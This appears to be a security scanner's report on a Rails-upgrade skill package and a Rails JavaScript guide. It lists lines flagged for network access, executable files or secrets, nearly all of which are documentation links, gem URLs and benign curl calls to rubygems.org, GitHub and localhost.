    bundling, you can create new Rails applications with your choice of [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/), [Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/).
  • Network accessline 70
    [Bun](https://bun.sh), [esbuild](https://esbuild.github.io/),
  • Network accessline 71
    [Webpack](https://webpack.js.org/), or [Rollup.js](https://rollupjs.org/guide/en/).
  • Network accessline 82
    These bundling options each come with a simple configuration and integration with the asset pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem.
  • Network accessline 83
    pipeline via the [jsbundling-rails](https://github.com/rails/jsbundling-rails) gem.
  • Network accessline 96
    Find the installation instructions at the [Bun website](https://bun.sh) and
  • Network accessline 112
    Find the installation instructions at the [Node.js website](https://nodejs.org/en/download/) and
  • Network accessline 121
    To install Yarn, follow the installation instructions at the [Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out
  • Network accessline 122
    [Yarn website](https://classic.yarnpkg.com/en/docs/install). Running this command should print out
  • Network accessline 142
    For many applications, especially those that rely primarily on the [Hotwire](https://hotwired.dev/)
  • Network accessline 143
    stack for their JavaScript needs, import maps will be the right option for the long term. You can read more about the reasoning behind making import maps the default in Rails 7 [here](https://world.hey.com/dhh/rails-7-will-have-three-great-
  • Network accessline 145
    [here](https://world.hey.com/dhh/rails-7-will-have-three-great-answers-to-javascript-in-2021-8d68191b).
  • Network accessline 150
    * If your code requires a transpilation step, such as JSX or TypeScript. * If you need to use JavaScript libraries that include CSS or otherwise rely on   [Webpack loaders](https://webpack.js.org/loaders/).
  • Network accessline 151
    * If you need to use JavaScript libraries that include CSS or otherwise rely on   [Webpack loaders](https://webpack.js.org/loaders/). * If you are absolutely sure that you need
  • Network accessline 152
    [Webpack loaders](https://webpack.js.org/loaders/).
  • Network accessline 153
    * If you are absolutely sure that you need   [tree-shaking](https://webpack.js.org/guides/tree-shaking/). * If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling-
  • Network accessline 154
    [tree-shaking](https://webpack.js.org/guides/tree-shaking/).
  • Network accessline 155
    * If you will install Bootstrap, Bulma, PostCSS, or Dart CSS through the [cssbundling-rails gem](https://github.com/rails/cssbundling-rails). All options provided by this gem except Tailwind and Sass will automatically install `esbuild` for
  • Network accessline 160
    Whether you choose import maps or a traditional bundler, Rails ships with [Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the
  • Network accessline 161
    [Turbo](https://turbo.hotwired.dev/) to speed up your application while dramatically reducing the
  • Network accessline 169
    [Turbo Drive](https://turbo.hotwired.dev/handbook/drive) speeds up page loads by avoiding full-page
  • Network accessline 175
    [Turbo Frames](https://turbo.hotwired.dev/handbook/frames) allow predefined parts of a page to be
  • Network accessline 181
    Rails provides HTML helpers to simplify the use of Turbo Frames through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem.
  • Network accessline 182
    [turbo-rails](https://github.com/hotwired/turbo-rails) gem.
  • Network accessline 197
    [Turbo Streams](https://turbo.hotwired.dev/handbook/streams) deliver page changes as fragments of
  • Network accessline 202
    Rails provides HTML and server-side helpers to simplify the use of Turbo Streams through the [turbo-rails](https://github.com/hotwired/turbo-rails) gem.
  • Network accessline 203
    [turbo-rails](https://github.com/hotwired/turbo-rails) gem.
  • Network accessline 267
    Clicking links always results in an HTTP GET request. If your application is [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact
  • Network accessline 268
    [RESTful](https://en.wikipedia.org/wiki/Representational_State_Transfer), some links are in fact actions that change data on the server, and should be performed with non-GET requests. The `data-turbo-method` attribute allows marking up such
  • Network accessline 328
    [Rails Request.JS](https://github.com/rails/request.js) encapsulates the logic
  • Network accessline 341
    async function myMethod () {   const request = new FetchRequest('post', 'http://localhost:3000/posts', {
  • Network accessline 342
    const request = new FetchRequest('post', 'http://localhost:3000/posts', {
  • Network accessline 361
    [`csrf_meta_tags`]: https://api.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags

packages/autoskills/skills-registry/rails-upgrade/SKILL.md

  • Network accessline 32
    - **dual-boot skill** ([github.com/ombulabs/claude-code_dual-boot-skill](https://github.com/ombulabs/claude-code_dual-boot-skill)) — Sets up and manages dual-boot environments using the `next_rails` gem. Covers setup, `NextRails.next?` code
  • Network accessline 34
    - **rails-load-defaults skill** ([github.com/ombulabs/claude-code_rails-load-defaults-skill](https://github.com/ombulabs/claude-code_rails-load-defaults-skill)) — Handles incremental `load_defaults` updates with tiered risk assessment (Tier
  • Network accessline 67
    **DEPENDENCY:** Requires the [dual-boot skill](https://github.com/ombulabs/claude-code_dual-boot-skill)
  • Network accessline 99
    ### External Dependencies - **dual-boot skill** - Dual-boot setup and management with next_rails (Workflow 04) (https://github.com/ombulabs/claude-code_dual-boot-skill)
  • Network accessline 100
    - **dual-boot skill** - Dual-boot setup and management with next_rails (Workflow 04) (https://github.com/ombulabs/claude-code_dual-boot-skill)
  • Network accessline 101
    - **rails-load-defaults skill** - Incremental load_defaults alignment (Workflow 12) (https://github.com/ombulabs/claude-code_rails-load-defaults-skill)

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/gem_limits.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/hop.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-40-patterns.expectations.yml

  • Network accessline 412
    - "  def self.cache_key"     # the app's own cache_key method taking an argument, or defining one     - "    Rails.cache.fetch(cache_key(:totals)) do"
  • Network accessline 413
    # the app's own cache_key method taking an argument, or defining one     - "    Rails.cache.fetch(cache_key(:totals)) do"     - "    Rails.cache.fetch(report.cache_key(:monthly_totals))"
  • Network accessline 414
    - "    Rails.cache.fetch(cache_key(:totals)) do"
  • Network accessline 415
    - "    Rails.cache.fetch(report.cache_key(:monthly_totals))"
  • Network accessline 420
    - "    cache_key ||= compute_key"     - "    cache_key << record.id.to_s"     - "    settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do"
  • Network accessline 421
    - "    cache_key << record.id.to_s"     - "    settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do"     - "  = cache cache_key do"
  • Network accessline 422
    - "    settings = Rails.cache.fetch(cache_key, expires_in: 12.hours) do"
  • Network accessline 474
    - "  background-image: image-url(\"backgrounds/stripes.png\");"     # a full URL on another host is not served by this app's pipeline     - "  background: url(\"https://cdn.example.com/assets/x.svg\");"
  • Network accessline 475
    # a full URL on another host is not served by this app's pipeline     - "  background: url(\"https://cdn.example.com/assets/x.svg\");"     # the prefix setting itself carries no trailing slash
  • Network accessline 476
    - "  background: url(\"https://cdn.example.com/assets/x.svg\");"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-40-patterns.yml

  • Network accessline 406
    - "lib/"         - "config/"       explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional secon
  • Network accessline 407
    - "config/"       explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional seconds (`accounts/1-2
  • Network accessline 408
    explanation: "Rails 4.0 changes the default `ActiveRecord::Base.cache_timestamp_format` from `:number` to `:nsec`, so `record.cache_key` for a record with `updated_at` gains nine digits of fractional seconds (`accounts/1-20140102030405` on 
  • Network accessline 442
    - "vendor/assets/"         - "public/*.html"       explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precom
  • Network accessline 443
    - "public/*.html"       explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precompile:nondigest` after the d
  • Network accessline 444
    explanation: "Rails 3.2 wrote every precompiled asset twice. When config.assets.digest is on, the 3.2 `assets:precompile:all` task (actionpack lib/sprockets/assets.rake) runs `assets:precompile:nondigest` after the digest pass, so public/as
  • Network accessline 699
    gem_name: "protected_attributes"     message: "Temporary bridge gem for attr_accessible — migrate to Strong Parameters then remove"     url: "https://github.com/rails/protected_attributes"
  • Network accessline 701
    url: "https://github.com/rails/protected_attributes"
  • Network accessline 705
    gem_name: "rails-observers"     message: "Required if using ActiveRecord Observers or Sweepers"     url: "https://github.com/rails/rails-observers"
  • Network accessline 707
    url: "https://github.com/rails/rails-observers"
  • Network accessline 711
    gem_name: "activerecord-deprecated_finders"     message: "Dependency of Rails 4.0 only. Restores, with a deprecation warning, dynamic finders (find_all_by_* etc.), find(:all, ...) option hashes and the old association options :conditions (i
  • Network accessline 713
    url: "https://github.com/rails/activerecord-deprecated_finders"
  • Network accessline 717
    gem_name: "actionpack-action_caching"     message: "Required if using caches_action or expire_action (ACTION_CACHING), extracted from Rails core at 4.0. Requires actionpack >= 4.0, so add it on the next side only"     url: "https://github.c
  • Network accessline 719
    url: "https://github.com/rails/actionpack-action_caching"
  • Network accessline 723
    gem_name: "actionpack-page_caching"     message: "Required if using caches_page, expire_page or page_cache_directory (PAGE_CACHING), extracted from Rails core at 4.0. Separate gem from actionpack-action_caching. Requires actionpack >= 4.0, 
  • Network accessline 725
    url: "https://github.com/rails/actionpack-page_caching"
  • Network accessline 729
    gem_name: "activeresource"     message: "Required if using ActiveResource"     url: "https://github.com/rails/activeresource"
  • Network accessline 731
    url: "https://github.com/rails/activeresource"
  • Network accessline 735
    gem_name: "paper_trail"     message: "If the app uses paper_trail, pin it per side on the dual-boot: `gem \"paper_trail\", \"3.0.0\"` when next?, else `\"~> 2\"`. 3.0.0 runs on Rails-4 ActiveRecord, which requires symbol association names —
  • Network accessline 737
    url: "https://github.com/paper-trail-gem/paper_trail"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-41-patterns.yml

  • Network accessline 478
    gem_name: "multi_json"     message: "Add to Gemfile only if the app still calls MultiJson.dump / MultiJson.load directly. Rails 4.1 no longer pulls it in"     url: "https://github.com/intridea/multi_json"
  • Network accessline 480
    url: "https://github.com/intridea/multi_json"
  • Network accessline 484
    gem_name: "activerecord-deprecated_finders"     message: "Short-term bridge: restores find_all_by_*, find_last_by_*, scoped_by_*, dynamic find_or_*_by_* finders, finder options and update_all with conditions, removed from Rails 4.1. Also re
  • Network accessline 486
    url: "https://github.com/rails/activerecord-deprecated_finders"
  • Network accessline 490
    gem_name: "spring"     message: "New Rails 4.1 default — application preloader that keeps the Rails environment in memory between commands"     url: "https://github.com/rails/spring"
  • Network accessline 492
    url: "https://github.com/rails/spring"
  • Network accessline 496
    gem_name: "activesupport-json_encoder"     message: "Restore pre-4.1 JSON encoder behavior: circular data-structure detection, encode_json hook, BigDecimal-as-number option"     url: "https://github.com/rails/activesupport-json_encoder"
  • Network accessline 498
    url: "https://github.com/rails/activesupport-json_encoder"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-42-patterns.yml

  • Network accessline 179
    gem_name: "responders"     message: "Required if controllers use respond_with or class-level respond_to"     url: "https://github.com/heartcombo/responders"
  • Network accessline 181
    url: "https://github.com/heartcombo/responders"
  • Network accessline 185
    gem_name: "web-console"     message: "New Rails 4.2 default - interactive IRB console in development on error pages and via <%= console %> helper"     url: "https://github.com/rails/web-console"
  • Network accessline 187
    url: "https://github.com/rails/web-console"
  • Network accessline 191
    gem_name: "rails-deprecated_sanitizer"     message: "Temporary fallback if the new Loofah-based sanitizer produces unexpected output (not recommended long-term, 4.2-only)"     url: "https://github.com/rails/rails-deprecated_sanitizer"
  • Network accessline 193
    url: "https://github.com/rails/rails-deprecated_sanitizer"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-50-patterns.yml

  • Network accessline 139
    gem_name: "rails-controller-testing"     message: "Required if tests use assigns() or assert_template"     url: "https://github.com/rails/rails-controller-testing"
  • Network accessline 141
    url: "https://github.com/rails/rails-controller-testing"
  • Network accessline 145
    gem_name: "test-unit"     message: "Required if you see 'cannot load such file -- test/unit/assertions' after upgrading Ruby"     url: "https://github.com/test-unit/test-unit"
  • Network accessline 147
    url: "https://github.com/test-unit/test-unit"
  • Network accessline 151
    gem_name: "rails_upgrader"     message: "Helps automate Strong Parameters migration from attr_accessible"     url: "https://github.com/fastruby/rails_upgrader"
  • Network accessline 153
    url: "https://github.com/fastruby/rails_upgrader"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-51-patterns.expectations.yml

  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-51-patterns.yml

  • Network accessline 229
    gem_name: "webpacker"     message: "New Rails 5.1 default for JavaScript bundling via Webpack + Yarn. Optional — adopt only if moving off Sprockets for JS"     url: "https://github.com/rails/webpacker"
  • Network accessline 231
    url: "https://github.com/rails/webpacker"
  • Network accessline 235
    gem_name: "rails-controller-testing"     message: "Still required if tests use assigns() or assert_template (carried over from the 5.0 extraction)"     url: "https://github.com/rails/rails-controller-testing"
  • Network accessline 237
    url: "https://github.com/rails/rails-controller-testing"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-52-patterns.expectations.yml

  • Access to secretsline 126
    [Credential-related source omitted]

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-52-patterns.yml

  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Network accessline 167
    gem_name: "bootsnap"     message: "New Rails 5.2 default; opt-in performance improvement that caches expensive boot-time computations (file path resolution, YAML/JSON parses, ISeq compilation)"     url: "https://github.com/Shopify/bootsnap"
  • Network accessline 169
    url: "https://github.com/Shopify/bootsnap"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-60-patterns.yml

  • Network accessline 310
    gem_name: "zeitwerk"     message: "Rails 6.0 uses Zeitwerk for code loading"     url: "https://github.com/fxn/zeitwerk"
  • Network accessline 312
    url: "https://github.com/fxn/zeitwerk"
  • Network accessline 316
    gem_name: "webpacker"     message: "Rails 6.0 uses Webpacker for JavaScript by default"     url: "https://github.com/rails/webpacker"
  • Network accessline 318
    url: "https://github.com/rails/webpacker"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-70-patterns.expectations.yml

  • Network accessline 23
    - "    redirect_to request.referer"     # literal external URL, both quote styles     - "    redirect_to \"https://example.com\""
  • Network accessline 24
    # literal external URL, both quote styles     - "    redirect_to \"https://example.com\""     - "    redirect_to 'http://example.com/callback'"
  • Network accessline 25
    - "    redirect_to \"https://example.com\""
  • Network accessline 26
    - "    redirect_to 'http://example.com/callback'"
  • Network accessline 36
    - "    redirect_to user_path(params[:id])"     # already opted in, the exclude regex must suppress it     - "    redirect_to \"https://example.com\", allow_other_host: true"
  • Network accessline 38
    - "    redirect_to \"https://example.com\", allow_other_host: true"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-70-patterns.yml

  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 128
    - "lib/"       explanation: "load_defaults 7.0 sets config.action_controller.raise_on_open_redirects = true. With it on, redirect_to and redirect_back_or_to to a host different from the current one raise ActionController::Redirecting::Unsaf
  • Network accessline 129
    explanation: "load_defaults 7.0 sets config.action_controller.raise_on_open_redirects = true. With it on, redirect_to and redirect_back_or_to to a host different from the current one raise ActionController::Redirecting::UnsafeRedirectError 
  • Network accessline 130
    fix: "For each intentional external redirect, pass allow_other_host: true, e.g. redirect_to \"https://example.com\", allow_other_host: true. Never pass allow_other_host: true on a destination built from untrusted input (params, session, req
  • Network accessline 168
    gem_name: "importmap-rails"     message: "Rails 7.0 uses Import Maps by default for JavaScript"     url: "https://github.com/rails/importmap-rails"
  • Network accessline 170
    url: "https://github.com/rails/importmap-rails"
  • Network accessline 174
    gem_name: "turbo-rails"     message: "Rails 7.0 uses Turbo (Hotwire) for SPA-like navigation"     url: "https://github.com/hotwired/turbo-rails"
  • Network accessline 176
    url: "https://github.com/hotwired/turbo-rails"
  • Network accessline 180
    gem_name: "stimulus-rails"     message: "Rails 7.0 uses Stimulus for JavaScript behaviors"     url: "https://github.com/hotwired/stimulus-rails"
  • Network accessline 182
    url: "https://github.com/hotwired/stimulus-rails"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-71-patterns.expectations.yml

  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-80-patterns.yml

  • Network accessline 191
    - "app/assets/"       explanation: "Rails 8.0 makes Propshaft the default asset pipeline for new apps, but Sprockets stays a first-class citizen. Existing apps can keep Sprockets at 8.0 with no changes — sprockets-rails continues to ship an
  • Network accessline 192
    explanation: "Rails 8.0 makes Propshaft the default asset pipeline for new apps, but Sprockets stays a first-class citizen. Existing apps can keep Sprockets at 8.0 with no changes — sprockets-rails continues to ship and work. Migrating from
  • Network accessline 193
    fix: "No action required for the version bump. Optionally migrate to Propshaft as a separate effort if you want the new defaults (faster, no preprocessing pipeline). See https://github.com/rails/propshaft"
  • Network accessline 278
    gem_name: "propshaft"     message: "Rails 8.0 uses Propshaft instead of Sprockets for assets"     url: "https://github.com/rails/propshaft"
  • Network accessline 280
    url: "https://github.com/rails/propshaft"
  • Network accessline 284
    gem_name: "solid_cache"     message: "Rails 8.0 includes Solid Cache for database-backed caching (optional)"     url: "https://github.com/rails/solid_cache"
  • Network accessline 286
    url: "https://github.com/rails/solid_cache"
  • Network accessline 290
    gem_name: "solid_queue"     message: "Rails 8.0 includes Solid Queue for database-backed jobs (optional)"     url: "https://github.com/rails/solid_queue"
  • Network accessline 292
    url: "https://github.com/rails/solid_queue"
  • Network accessline 296
    gem_name: "solid_cable"     message: "Rails 8.0 includes Solid Cable for database-backed WebSockets (optional)"     url: "https://github.com/rails/solid_cable"
  • Network accessline 298
    url: "https://github.com/rails/solid_cable"
  • Network accessline 302
    gem_name: "kamal"     message: "Rails 8.0 includes Kamal for deployment"     url: "https://kamal-deploy.org"
  • Network accessline 304
    url: "https://kamal-deploy.org"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/patterns/rails-81-patterns.yml

  • Network accessline 184
    gem_name: "bundler-audit"     message: "Rails 8.1 requires bundler-audit for security scanning"     url: "https://github.com/rubysec/bundler-audit"
  • Network accessline 186
    url: "https://github.com/rubysec/bundler-audit"

packages/autoskills/skills-registry/rails-upgrade/detection-scripts/scan_patterns.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/rails-upgrade/references/deprecation-warnings-reference.md

  • Network accessline 76
    The best way to discover production deprecation warnings is through a monitoring tool like [Honeybadger](https://www.honeybadger.io/), [Sentry](https://sentry.io/), or [Airbrake](https://airbrake.io/).
  • Network accessline 114
    See the [ActiveSupport Instrumentation Guide](https://guides.rubyonrails.org/active_support_instrumentation.html#subscribing-to-an-event) for more details.
  • Network accessline 209
    Write custom Rubocop cops to prevent deprecated patterns. See [Lint/DeprecatedClassMethods](https://github.com/rubocop-hq/rubocop/blob/master/lib/rubocop/cop/lint/deprecated_class_methods.rb) for examples.
  • Network accessline 370
    - [Rails Deprecation Behavior](https://guides.rubyonrails.org/configuring.html#config-active-support-deprecation)
  • Network accessline 371
    - [ActiveSupport Instrumentation](https://guides.rubyonrails.org/active_support_instrumentation.html)
  • Network accessline 372
    - [Rubocop](https://github.com/rubocop-hq/rubocop)

packages/autoskills/skills-registry/rails-upgrade/references/gem-compatibility-reference.md

  • Network accessline 63
    **How to verify whether your target Rails patch needs the pin:** `curl -s https://raw.githubusercontent.com/rails/rails/v<VERSION>/activesupport/lib/active_support/logger_thread_safe_level.rb | head -10` and check for `require "logger"` nea

packages/autoskills/skills-registry/rails-upgrade/references/multi-hop-strategy-reference.md

  • Network accessline 27
    1. Check [rubygems.org/gems/rails/versions](https://rubygems.org/gems/rails/versions) for all releases in your series
  • Dangerous shell operationline 58
    curl -s https://rubygems.org/api/v1/versions/rails.json |    ruby -rjson -e '
  • Network accessline 58
    curl -s https://rubygems.org/api/v1/versions/rails.json | \
  • Network accessline 316
    **Check compatibility at:** - https://rubygems.org (version requirements)
  • Network accessline 317
    - https://rubygems.org (version requirements)

packages/autoskills/skills-registry/rails-upgrade/references/no-test-suite-smoke-reference.md

  • Network accessline 85
    # Check only safe, read-only endpoints, for example: curl -I http://localhost:3000/
  • Network accessline 86
    curl -I http://localhost:3000/
  • Network accessline 87
    curl -I http://localhost:3000/users/sign_in

packages/autoskills/skills-registry/rails-upgrade/references/staying-current-reference.md

  • Network accessline 174
    Use tools like [Dependabot](https://docs.github.com/en/code-security/dependabot) or [Renovate](https://www.mend.io/renovate/) to automatically create PRs for dependency updates.
  • Network accessline 257
    1. **Rails Blog**: https://rubyonrails.org/blog/
  • Network accessline 258
    2. **Rails Twitter**: https://twitter.com/rails
  • Network accessline 259
    3. **Rails GitHub Releases**: https://github.com/rails/rails/releases
  • Network accessline 260
    4. **Ruby Weekly Newsletter**: https://rubyweekly.com/
  • Network accessline 383
    - [RailsBump](https://railsbump.org/) - Gem compatibility checker
  • Network accessline 384
    - [RailsDiff](https://railsdiff.org/) - Compare Rails versions
  • Network accessline 385
    - [FastRuby.io Blog](https://www.fastruby.io/blog) - Upgrade guides and tips
  • Network accessline 386
    - [next_rails gem](https://github.com/fastruby/next_rails) - Dual-boot tool

packages/autoskills/skills-registry/rails-upgrade/templates/upgrade-report-template.md

  • Network accessline 207
    - [Rails {TO} Release Notes](https://guides.rubyonrails.org/{TO_UNDERSCORE}_release_notes.html)
  • Network accessline 208
    - [Rails Upgrade Guide](https://guides.rubyonrails.org/upgrading_ruby_on_rails.html)
  • Network accessline 209
    - [FastRuby.io Rails Upgrade Blog](https://www.fastruby.io/blog)
  • Network accessline 221
    **Report generated by Rails Upgrade Assistant**, built on the [FastRuby.io](https://www.fastruby.io) upgrade methodology. Want a team that does this every week to take the hop from here? [Talk to FastRuby.io](https://www.fastruby.io/contact

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-3.2-to-4.0.md

  • Network accessline 612
    one user's token to everybody or you cannot cache it at all. Remote forms were assumed to always be submitted by UJS as an XHR, which in a real application they are not. The [Rails CHANGELOG entry for the flip](https://github.com/rails/rail
  • Network accessline 613
    to always be submitted by UJS as an XHR, which in a real application they are not. The [Rails CHANGELOG entry for the flip](https://github.com/rails/rails/commit/128cfbdf4d316a544a76e5c58dbeac153f3d4e36) names the escape hatch: set the conf
  • Network accessline 614
    [Rails CHANGELOG entry for the flip](https://github.com/rails/rails/commit/128cfbdf4d316a544a76e5c58dbeac153f3d4e36)
  • Network accessline 615
    [Credential-related source omitted]
  • Network accessline 616
    per form. Later Rails [softened the default to `nil`](https://github.com/rails/rails/commit/6309b85100dd2b55c716ee4a4e9cbd3da2dc0617), meaning "let the form helper decide", so pinning it back is not fighting the
  • Network accessline 617
    [softened the default to `nil`](https://github.com/rails/rails/commit/6309b85100dd2b55c716ee4a4e9cbd3da2dc0617),
  • Network accessline 662
    fetch(url, {
  • Network accessline 1262
    Fixed in Rails 5.0 by [rails/rails#18548](https://github.com/rails/rails/pull/18548), which guards `ActiveRecord::Callbacks#destroy` against re-entrant callbacks. Not backported to 4.x.
  • Network accessline 1846
    - [Rails 4.0 Release Notes](https://guides.rubyonrails.org/4_0_release_notes.html)
  • Network accessline 1847
    - [Strong Parameters Guide](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
  • Network accessline 1848
    - [RailsDiff 3.2 to 4.0](http://railsdiff.org/3.2.22.5/4.0.13)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.0-to-4.1.md

  • Network accessline 5
    **Based on "The Complete Guide to Upgrade Rails" by FastRuby.io (OmbuLabs), the [official Rails 4.1 upgrade guide](https://guides.rubyonrails.org/v4.1/upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1), and the Rails 4.1 re
  • Network accessline 123
    See [rails/rails#13271](https://github.com/rails/rails/pull/13271).
  • Network accessline 158
    See [rails/rails#9712](https://github.com/rails/rails/issues/9712) for background.
  • Network accessline 775
    **What Changed:** Rails 4.1 no longer depends on the [`multi_json`](https://github.com/intridea/multi_json) gem. Its constant is `MultiJson` (there is no `MultiJSON` constant). Code that references `MultiJson` (calls, `rescue MultiJson::Par
  • Network accessline 776
    Rails 4.1 no longer depends on the [`multi_json`](https://github.com/intridea/multi_json) gem. Its constant is `MultiJson` (there is no `MultiJSON` constant). Code that references `MultiJson` (calls, `rescue MultiJson::ParseError`, `MultiJs
  • Network accessline 857
    See [this commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2).
  • Network accessline 909
    See [rails/rails#13345](https://github.com/rails/rails/pull/13345).
  • Network accessline 1265
    Run `bin/rake rails:update` to walk through config changes interactively. See also [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16) for the exact diff.
  • Network accessline 1328
    Cross-check against [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16).
  • Network accessline 1419
    - [Rails 4.1 Release Notes](https://guides.rubyonrails.org/v4.1/4_1_release_notes.html)
  • Network accessline 1420
    - [Upgrading from Rails 4.0 to Rails 4.1 (official)](https://guides.rubyonrails.org/v4.1/upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
  • Network accessline 1421
    - [RailsDiff 4.0.13 → 4.1.16](http://railsdiff.org/4.0.13/4.1.16)
  • Network accessline 1422
    - [`activerecord-deprecated_finders` gem](https://github.com/rails/activerecord-deprecated_finders)
  • Network accessline 1423
    - [`activesupport-json_encoder` gem](https://github.com/rails/activesupport-json_encoder)
  • Network accessline 1424
    - [Running `rails:update`](http://thomasleecopeland.com/2015/08/06/running-rails-update.html)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.1-to-4.2.md

  • Network accessline 63
    **What Changed:** The `respond_with` helper and class-level `respond_to` declarations were extracted from Rails core into the [`responders`](https://github.com/heartcombo/responders) gem.
  • Network accessline 64
    The `respond_with` helper and class-level `respond_to` declarations were extracted from Rails core into the [`responders`](https://github.com/heartcombo/responders) gem.
  • Network accessline 178
    **What Changed:** `sanitize`, `sanitize_css`, `strip_tags`, and `strip_links` are now backed by [Loofah](https://github.com/flavorjones/loofah) (via Nokogiri). Output may differ for edge-case inputs. `sanitize` also now accepts a `Loofah::S
  • Network accessline 179
    `sanitize`, `sanitize_css`, `strip_tags`, and `strip_links` are now backed by [Loofah](https://github.com/flavorjones/loofah) (via Nokogiri). Output may differ for edge-case inputs. `sanitize` also now accepts a `Loofah::Scrubber` — two new
  • Network accessline 335
    **What Changed:** Rails 4.2 ships with a native foreign-key DSL for migrations. You can now drop the [`foreigner`](https://github.com/matthuhiggins/foreigner) gem if its features are a match.
  • Network accessline 336
    Rails 4.2 ships with a native foreign-key DSL for migrations. You can now drop the [`foreigner`](https://github.com/matthuhiggins/foreigner) gem if its features are a match.
  • Network accessline 403
    Consider [Transpec](http://yujinakayama.me/transpec/) to automate common 2 → 3 syntax conversions.
  • Network accessline 530
    Cross-check against [RailsDiff 4.1.16 → 4.2.11.3](http://railsdiff.org/4.1.16/4.2.11.3) for the exact diff.
  • Network accessline 571
    - [Rails 4.2 Release Notes](https://guides.rubyonrails.org/v4.2/4_2_release_notes.html)
  • Network accessline 572
    - [Upgrading from Rails 4.1 to Rails 4.2 (official)](https://guides.rubyonrails.org/v4.2/upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2)
  • Network accessline 573
    - [FastRuby.io: Upgrade Rails from 4.1 to 4.2](https://www.fastruby.io/blog/rails/upgrades/upgrade-rails-from-4-1-to-4-2.html)
  • Network accessline 574
    - [RailsDiff 4.1.16 → 4.2.11.3](http://railsdiff.org/4.1.16/4.2.11.3)
  • Network accessline 575
    - [`responders` gem](https://github.com/heartcombo/responders)
  • Network accessline 576
    - [`web-console` gem](https://github.com/rails/web-console)
  • Network accessline 577
    - [ActiveSupport::Testing::TimeHelpers](https://api.rubyonrails.org/v4.2/classes/ActiveSupport/Testing/TimeHelpers.html)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-4.2-to-5.0.md

  • Network accessline 29
    **What Changed:** Rails 5.0 requires Ruby 2.2.2 or newer: the `rails` 5.0 gemspec sets `required_ruby_version >= 2.2.2`, while 4.2 accepts `>= 1.9.3`. Bundler refuses to install 5.0 on an older Ruby, so upgrade Ruby first, while the app is 
  • Network accessline 30
    Rails 5.0 requires Ruby 2.2.2 or newer: the `rails` 5.0 gemspec sets `required_ruby_version >= 2.2.2`, while 4.2 accepts `>= 1.9.3`. Bundler refuses to install 5.0 on an older Ruby, so upgrade Ruby first, while the app is still on Rails 4.2
  • Network accessline 159
    **Tool:** Use [rails_upgrader](https://github.com/fastruby/rails_upgrader) gem to help automate this.
  • Network accessline 173
    params.slice(:name, :email) params.except(:id) params.fetch(:user)
  • Network accessline 175
    params.fetch(:user)
  • Network accessline 351
    Check gems at [RailsBump](https://railsbump.org/) before upgrading.
  • Network accessline 457
    - [Rails 5.0 Release Notes](https://guides.rubyonrails.org/5_0_release_notes.html)
  • Network accessline 458
    - [RailsDiff 4.2 to 5.0](http://railsdiff.org/4.2.10/5.0.7)
  • Network accessline 459
    - [Strong Parameters Guide](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)

packages/autoskills/skills-registry/rails-upgrade/version-guides/upgrade-5.0-to-5.1.md

  • Network accessline 375
